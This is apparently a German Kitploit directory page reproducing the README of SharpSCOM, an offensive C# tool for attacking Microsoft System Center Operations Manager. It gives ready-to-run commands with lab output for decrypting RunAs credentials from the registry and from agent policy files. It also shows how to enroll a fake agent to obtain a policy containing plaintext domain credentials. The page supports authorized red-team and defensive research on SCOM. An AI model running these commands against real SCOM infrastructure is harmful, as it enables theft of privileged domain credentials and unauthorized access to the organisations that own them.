Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/breakfix/sharpscom
Authentifizierung & AutorisierungExploitationImpersonations-ToolsPost-ExploitationPenetrationstestsRed Teaming
GitHubbreakfix/sharpscom

SharpSCOM

Ein C#-Dienstprogramm für die Interaktion mit SCOM

Repository anzeigen
100138vor 9 MonatenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

SharpSCOM

Ein C#-Tool für die Interaktion mit Microsoft System Center Operations Manager (SCOM).

Dieses Tool wurde gegen die SCOM-Serverversion 10.22.10118.0 getestet.

Die SSPI-Integration wird über die Bibliothek nsspi von Kevin Thompson (antiduh) bereitgestellt, die unter der BSD-2-Lizenz veröffentlicht wurde.

Befehlszeilenverwendung

root@kitploit:~
█▀ █ █ ▄▀█ █▀█ █▀█ █▀ █▀▀ █▀█ █▀▄▀█
▄█ █▀█ █▀█ █▀▄ █▀▀ ▄█ █▄▄ █▄█ █ ▀ █                                                                                 

Author: Matt Johnson (@breakfix) - SpecterOps - v0.0.1

Usage: SharpSCOM <command> [options]

Commands:
  RegisterAgent          Register a new agent with SCOM server
  RegisterCertificate    Assign a certificate to an existing agent
  RequestPolicy          Request policy from SCOM server
  DownloadPolicy         Download policy from SCOM server
  AutoEnroll             Send a multi-part request consisting of RegisterAgent, RegisterCertificate and RequestPolicy and attempt to automatically download the policy
  DecryptPolicy          Decrypt SecureData section from a policy file
  DecryptRunAs           Extract and decrypt RunAs credentials from registry

Common Options:
  /hostname:<name>       Computer hostname (default: current machine)
  /managementgroup:<mg>  SCOM management group name
  /server:<server>       SCOM server address
  /port:<port>           SCOM server port (default: 5723)
  /outfile:<file>        Output file path
  /data:<base64>         Base64-encoded data
  /key:<xml>             RSA private key in XML format
  /verbose               Enable verbose output
  /help                  Show this help message

Examples:
  SharpSCOM AutoEnroll /managementgroup:MG1 /server:scom.domain.com
  SharpSCOM DecryptPolicy /data:<base64> /outfile:policy.xml
  SharpSCOM DecryptRunAs

Beispiele (Befehle auf dem Host)

Die folgenden Befehle sind für die Ausführung auf einem Server gedacht, der derzeit bei SCOM registriert ist. Falls RunAs-Anmeldeinformationen verwendet und an den Server verteilt wurden, können wir mit den folgenden Befehlen die Klartext-Anmeldeinformationen wiederherstellen.

RunAs-Anmeldeinformationen extrahieren (DPAPI)

Extrahiert und entschlüsselt RunAs-Anmeldeinformationen aus der Registrierung (erfordert lokale Administratorrechte):

root@kitploit:~
SharpSCOM.exe decryptrunas

█▀ █ █ ▄▀█ █▀█ █▀█ █▀ █▀▀ █▀█ █▀▄▀█
▄█ █▀█ █▀█ █▀▄ █▀▀ ▄█ █▄▄ █▄█ █ ▀ █

Author: Matt Johnson (@breakfix) - SpecterOps - v0.0.1

[+] Searching for RunAs credentials in registry...
[+] Found 4 credentials

Username: ludus\opsmgr_action
Password: Password123

Username: ludus\opsmgr_dataread
Password: Password123

Username: ludus\opsmgr_datawrite
Password: Password123

Username: ludus\runas_account
Password: SuperSecure!

[+] Completed

RunAs-Anmeldeinformationen aus den SecureData der Policy.xml extrahieren

Extrahiert und entschlüsselt RunAs-Anmeldeinformationen, die im Abschnitt SecureData einer Agent-Policy-XML-Datei gespeichert sind. Standardmäßig ist diese Datei unter C:\Program Files\Microsoft Monitoring Agent\Agent\Health Service State\Connector Configuration Cache\$MANAGEMENT_GROUP_NAME$\OpsMgrConnector.Config zu finden.

Dieser Befehl sucht das aktuelle SCOM-RunAs-Zertifikat im Speicher Local Machine\Microsoft Monitoring Agent und verwendet den zugehörigen privaten Schlüssel für die Entschlüsselung.

root@kitploit:~
SharpSCOM DecryptPolicy /data:<base64-encrypted-data>


█▀ █ █ ▄▀█ █▀█ █▀█ █▀ █▀▀ █▀█ █▀▄▀█
▄█ █▀█ █▀█ █▀▄ █▀▀ ▄█ █▄▄ █▄█ █ ▀ █                                                                                     

Author: Matt Johnson (@breakfix) - SpecterOps - v0.0.1

[+] Attempting to decrypt policy data...
[+] Using certificate from store
[+] Found certificate in Microsoft Monitoring Agent store
[+] Subject: O=Microsoft, OU=RunAs Account Encryption, CN=scom-db.ludus.domain
[+] Issuer: O=Microsoft, OU=RunAs Account Encryption, CN=scom-db.ludus.domain
[+] Thumbprint: 88D3E2AC575795E5F5F0E0C2EAFFB5FC386EA52F
[+] Key Size: 2048
[+] RSA key loaded successfully from certificate
[+] SecureData decrypted successfully!
<SecureStorageContainer><SecureStorageReferences><Added><SecureStorageReference Identity="63745834-3e54-936c-1b47-2d632054a177"><TargetSSID>01020202020202020202020202020202020202020200000000000000000000000000000000000000</TargetSSID></SecureStorageReference></Added><Removed /><Modified /></SecureStorageReferences><SecureStorageElements><Added><SecureStorageElement Type="WindowsCredential"><SSID>00C29753F0583B2A1D9D0D81DF24F0FBA31D72B17A00000000000000000000000000000000000000</SSID><Domain>ludus</Domain><UserName>runas_account</UserName><Password>UwB1AHAAZQByAFMAZQBjAHUAcgBlACEA</Password></SecureStorageElement><SecureStorageElement Type="ActionAccountCredential"><SSID>01020202020202020202020202020202020202020200000000000000000000000000000000000000</SSID><Domain>NT Authority</Domain><UserName>LocalSystem</UserName></SecureStorageElement></Added><Removed /><Modified /></SecureStorageElements></SecureStorageContainer>

Beispiele (Befehle außerhalb des Hosts)

Wenn wir Kontrolle über einen in die Domäne eingebundenen Host haben, der derzeit nicht bei SCOM registriert ist, können wir versuchen, das Gerät zu registrieren und eine Agent-Policy-XML-Datei anzufordern, sofern die folgenden Voraussetzungen erfüllt sind.

Voraussetzungen:

  • Kerberos-Authentifizierung als Computerkonto
  • Automatische Registrierung aktiviert

Um ein neues Gerät zu registrieren, sendet der SCOM-Agent jede der folgenden 4 Nachrichten an den SCOM-Server.

BefehlBeschreibung
RegisterAgentRegistriert einen neuen Agenten beim SCOM-Server

Zu Testzwecken kann jede der obigen Nachrichten einzeln an den SCOM-Server gesendet werden, indem der entsprechende Befehl in SharpSCOM verwendet wird.

Hinweis: Der SCOM-Server erwartet, diese Nachrichten zusammen als Teil einer mehrteiligen Anforderung zu empfangen. Um die Agent-Policy-Datei zuverlässig zu erhalten, müssen wir den Befehl AutoEnroll verwenden, der die Befehle RegisterAgent, RegisterCertificate und RequestPolicy zusammen als mehrteilige Nachricht sendet.

Nach dem Senden des AutoEnroll-Befehls wird die Antwort des SCOM-Servers automatisch analysiert und verwendet, um die endgültige DownloadPolicy-Nachricht zum Herunterladen der Agent-Policy-XML-Datei zu erzeugen.

Automatisches Registrieren eines neuen Agents

root@kitploit:~
SharpSCOM.exe autoenroll /managementgroup:SCOM1 /server:scom-om1.ludus.domain /hostname:fake1.ludus.domain /outfile:C:\Users\domainadmin\desktop\policy_new.xml

█▀ █ █ ▄▀█ █▀█ █▀█ █▀ █▀▀ █▀█ █▀▄▀█
▄█ █▀█ █▀█ █▀▄ █▀▀ ▄█ █▄▄ █▄█ █ ▀ █

Author: Matt Johnson (@breakfix) - SpecterOps - v0.0.1

[+] Using Hostname: fake1.ludus.domain (24849d66-ef29-d6c4-4ff1-3e77a3e37a54)
[+] Using Management Group: SCOM1 (f0bc91d0-6de8-1fa8-d6bd-eb98f66672ad)
[+] Server: scom-om1.ludus.domain:5723
[+] Preparing to send multi-part agent message...
[+] Connecting to scom-om1.ludus.domain:5723
[+] Performing Kerberos SSPI authentication...
[+] Authentication successful!
[+] Client authority:
[+] Client context user: LUDUS.DOMAIN\fake1$
[+] Client session key: FF-36-61-D8-3D-53-71-B4-F8-4F-AA-E5-D4-0F-FA-1B-1F-34-15-62-F7-F4-3F-11-16-15-4B-47-1F-25-8B-59
[+] Generating agent registration message
[+] Generating agent certificate message
[+] Generating new agent certificate for fake1.ludus.domain
[+] Subject: CN=fake1.ludus.domain, OU=RunAs Account Encryption, O=Microsoft
[+] Serial Number: 4718FEBFD26B45A24405206C262C1F66
[+] Valid From: 10/26/2025 2:32:48 AM UTC
[+] Valid To: 10/26/2026 2:32:48 AM UTC
[+] Thumbprint: 7AA2A863985A965AA7E42061F5D344D17B68DB23
[+] Public Key (Hex): <REDACTED FOR BREVITY>
[+] Certificate (DER Base64): <REDACTED FOR BREVITY>
[+] Private Key (XML): <RSAKeyValue><Modulus><REDACTED FOR BREVITY></D></RSAKeyValue>
[+] Generating agent policy request
[+] Sending multi-part agent message...
[+] Sending 1174 bytes to server...
[+] [AGENT >>>>>> SCOM] [ENCRYPT] plaintext wrap token (base64): <REDACTED FOR BREVITY>
[+] [AGENT >>>>>> SCOM] [ENCRYPT] zlib decompressed wrap token (base64): <REDACTED FOR BREVITY>
[+] Waiting for server response...
[+] [AGENT <<<<<<<<< SCOM] [DECRYPT] plaintext wrap token (base64): AyBzGQQgBCD+AAAA0QAAAHicm+eqwsHEwMDxjoGBgRmInXz9fdkZGRgMU+ZOiYjOWtL8f0tTQMJz9pOB3j12jrKrVm3W2Gnw/8VfT6A6DqB6oF4G8RQGBnT5tLktKprvj1zz/2hXvvhxVYi32x2gqQwMp1v5QBRDE1SvBTOYy3A2HkIDzRIA0YwMGkAyjcGUwYjBmMGSIQUIzRl0GVIZkoBiIJYJkG3BkAxkWQDFjBgMgSxjICsJKJsKps0YEoEiyUCVegwVDLkMOQyPTyi9SCl/4Nd7NF7jsMvBEgDLhkBP
[+] [AGENT <<<<<<<<< SCOM] [DECRYPT] zlib decompressed wrap token (base64): nkUkCAIAAAjuAAAAAwAAAEJNT00HAQAAMWSdlFhbaqSD/7SCUGDnB8lRS4w+QR2qqrMouTD/6P1JTU9NCAAAAAIAAAAXZAAAyVFLjD5BHaqqsyi5MP/o/WadhCQp78TWT/E+d6PjelRLRtwBAAAAAMuFDgAAAAAAggAAAAIAAAA4AwAAAAAAAM1fAAAAAAAAF2QAEAAAAAABACgAAABmADUAMgAzADkAZABkADcALQBlAGIANQA3AC0ANABlADgAYwAtADgAYgAyADEALQAzAGIAYgA3AGUAYgBiADYAYQAzAGMANAAuAHgAbQBsAOPIIuhkd+BOjcVfKMNEwXQ=
[+] Received 225 bytes from server
[+] Server registration response received
[+] Generating policy download message
[+] server_guid: C9-51-4B-8C-3E-41-1D-AA-AA-B3-28-B9-30-FF-E8-FD
[+] policy_guid: E3-C8-22-E8-64-77-E0-4E-8D-C5-5F-28-C3-44-C1-74
[+] policy_length_1: CD-5F-00-00
[+] policy_length_2: 38-03-00-00
[+] Sending 148 bytes to server...
[+] [AGENT >>>>>> SCOM] [ENCRYPT] plaintext wrap token (base64): AyBzGQQgBCCoAAAAhAAAAHicm+eqwsHMwMAwA4hBtJOvvy87IwODYcrcKRHRWUua/29pCkh4zp42t0VF8/2Ra/4f7coXP64K8QSq44TqEU9hYECXPxno3WPnKLtq1WaNnQb/X/x1crsDNJWBgZUBAnSA2IIZwmZkQAVn4xkYHp9QepFS/sCv92i8xmGXgyUA73oyHQ==
[+] [AGENT >>>>>> SCOM] [ENCRYPT] zlib decompressed wrap token (base64): nkUkCAMAAACYAAAAAwAAAEJNT00HAQAAMWSdlFhbaqSD/7SCUGDnB2adhCQp78TWT/E+d6PjelRJTU9NCQAAAAMAAAAXZAAAZp2EJCnvxNZP8T53o+N6VMlRS4w+QR2qqrMouTD/6P1CRtwBAAAAAAUAAAAAAAAALAAAADgDAAAAAAAAAQAAAAAAAAAAAAAAAAAAAM1fAADjyCLoZHfgTo3FXyjDRMF0
[+] Waiting for server response...
[+] [AGENT <<<<<<<<< SCOM] [DECRYPT] plaintext wrap token (base64): <REDACTED FOR BREVITY>
[+] [AGENT <<<<<<<<< SCOM] [DECRYPT] zlib decompressed wrap token (base64): <REDACTED FOR BREVITY>
[+] Received 8655 bytes from server
[+] Successfully wrote policy XML to C:\Users\domainadmin\desktop\policy_new.xml
[+] Completed
[+] Disconnected from server

Entschlüsseln der empfangenen Agent-Policy-XML-Datei

Nach dem Empfang der Policy-Datei können wir den Abschnitt SecureData extrahieren und den privaten Schlüssel verwenden, der dem Agent-Zertifikat zugeordnet ist, um ihn zu entschlüsseln.

root@kitploit:~
SharpSCOM.exe decryptpolicy /data:"DAEAAAECAAAQZgA<REDACTED FOR BREVITY> /key:<RSAKeyValue><Modulus><REDACTED FOR BREVITY></D></RSAKeyValue>

█▀ █ █ ▄▀█ █▀█ █▀█ █▀ █▀▀ █▀█ █▀▄▀█
▄█ █▀█ █▀█ █▀▄ █▀▀ ▄█ █▄▄ █▄█ █ ▀ █                                                                                 

Author: Matt Johnson (@breakfix) - SpecterOps - v0.0.1

[+] Attempting to decrypt policy data...
[+] Using private key from XML
[+] Key Size: 2048
[+] RSA key loaded successfully from XML
[+] SecureData decrypted successfully!
<SecureStorageContainer><SecureStorageReferences><Added /><Removed /><Modified /></SecureStorageReferences><SecureStorageElements><Added><SecureStorageElement Type="WindowsCredential"><SSID>00C29753F0583B2A1D9D0D81DF24F0FBA31D72B17A00000000000000000000000000000000000000</SSID><Domain>ludus</Domain><UserName>runas_account</UserName><Password>UwB1AHAAZQByAFMAZQBjAHUAcgBlACEA</Password></SecureStorageElement></Added><Removed /><Modified /></SecureStorageElements></SecureStorageContainer>

Lizenz

Dieses Projekt ist unter der BSD-3-Clause-Lizenz lizenziert – siehe die Datei LICENSE für Details.

Haftungsausschluss

Dieses Tool dient ausschließlich zu Bildungszwecken und für autorisierte Sicherheitstests. Stellen Sie sicher, dass Sie über die entsprechende Autorisierung verfügen, bevor Sie dieses Tool gegen eine SCOM-Infrastruktur einsetzen.

Autor

Matt Johnson (@breakfix) - SpecterOps

Referenzen

Siehe den zugehörigen Blogbeitrag hier: https://specterops.io/blog/2025/12/10/scommand-and-conquer-attacking-system-center-operations-manager-part-2/

Tool herunterladen
RegisterCertificate
Weist einem vorhandenen Agenten ein Zertifikat zu
RequestPolicyFordert eine Richtlinie vom SCOM-Server an
DownloadPolicyLädt die Richtlinie vom SCOM-Server herunter